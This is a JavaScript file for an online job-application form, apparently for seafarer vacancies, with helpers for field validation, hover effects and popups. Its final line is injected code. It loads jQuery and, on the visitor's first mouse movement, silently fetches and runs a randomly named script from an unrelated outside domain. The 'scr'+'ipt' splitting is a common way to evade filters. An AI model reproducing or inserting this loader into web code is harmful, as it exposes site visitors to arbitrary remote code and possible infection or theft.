function GetById(id) {
                   		if(document.getElementById) {
                   			return document.getElementById(id);
                   		}else if(document.all) {
                   			return document.all[id];
                   		}else if(document.layers) {
                   			return document.layers[id];
                   		}
                   
                   	return null;
            }


function ValidateEmail(theinput)

{

	s=theinput.value

	if(s.search)

	{

		return (s.search(new RegExp('^([-!#$%&\'*+./0-9=?A-Z^_`a-z{|}~])+@([-!#$%&\'*+/0-9=?A-Z^_`a-z{|}~]+\\.)+[a-zA-Z]{2,6}$','gi'))>=0)

	}

	if(s.indexOf)

	{

		at_character=s.indexOf('@')

		if(at_character<=0 || at_character+4>s.length)

			return false

	}

	if(s.length<6)

		return false

	else

		return true

}
function ValidatePhone(theinput)
{
	s=theinput.value
	if(s.search)
	{
		return ( s.search(/\d{6,}/)>=0)
	}
}



required = new Array("c1", "c2", "c3", "c4", "c5", "c6", "c7", "c11","c12","c13", "c14", "c15","signature","signature_place","signature_date");
required_show = new Array("RANK", "SURNAME", "Date of birth","FIRST NAME", "Place of birth", "Home address","Phone number","Marital status", "Number of  children","Blood type","Overall size","Shoe size","signature","Place of signing","Date of signing");

function SendForm () {
	var i, j, pass, i_name, i_value;
	var needed_form=GetById('vacancies_form');
	for(j=0; j<required.length; j++) {
		for (i=0; i<needed_form.length; i++) {
			i_name=needed_form.elements[i].name;
			i_value=needed_form.elements[i].value;
			if (i_name == required[j]){
				
				if (i_value == ""){
					alert('You have to enter ' + required_show[j] + '! To send us your resume do it please.');
					needed_form.elements[i].focus();
					return false;
				}
				else {
							if (i_name == "c7" && !ValidatePhone(needed_form.elements[i])) {
								alert('Entered phone number is not valid');
								needed_form.elements[i].focus();
										return false;
							}
							if ((i_name == "signature") && (needed_form.elements[i].checked == false)) {
								alert('You have to confirm that all the information provided by you in this application is true of your own knowledge!');
								needed_form.elements[i].focus();
										return false;
							}
							i=needed_form.length;
				}
			}
		}
	}
	
}


function button_hover_login(element, yes_or_no) {

	if (yes_or_no) {
		for(j=0; j<3; j++) {
			if (element.parentNode){
 			element.parentNode.className=element.parentNode.className+"_hover";
			element=element.parentNode;
			}
		}
	}
	       	else {
			for(j=0; j<3; j++) {
				
				if (element.parentNode){
				c_n=element.parentNode.className
				l_i_o=c_n.indexOf("_hover");
 				element.parentNode.className=element.parentNode.className.substring(0,l_i_o);
				element=element.parentNode;
				}
			}
				
		}
	

	

	}


function windowsOpen(url,width,height){
	width+=17; height+=5;
	var leftPx = ( screen.availWidth - width ) / 2;
    var topPx = ( screen.availHeight - height ) / 2;
	var status = 'Toolbar=0, Location=0, Directories=0, Status=0, Menubar=0, scrollbars=1, Resizable=0, Copyhistory=0, Width=' + width + ',Height=' + height+", top=" +topPx+ ", left=" +leftPx;
	window.open(url, 'newWin', status);
}
document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
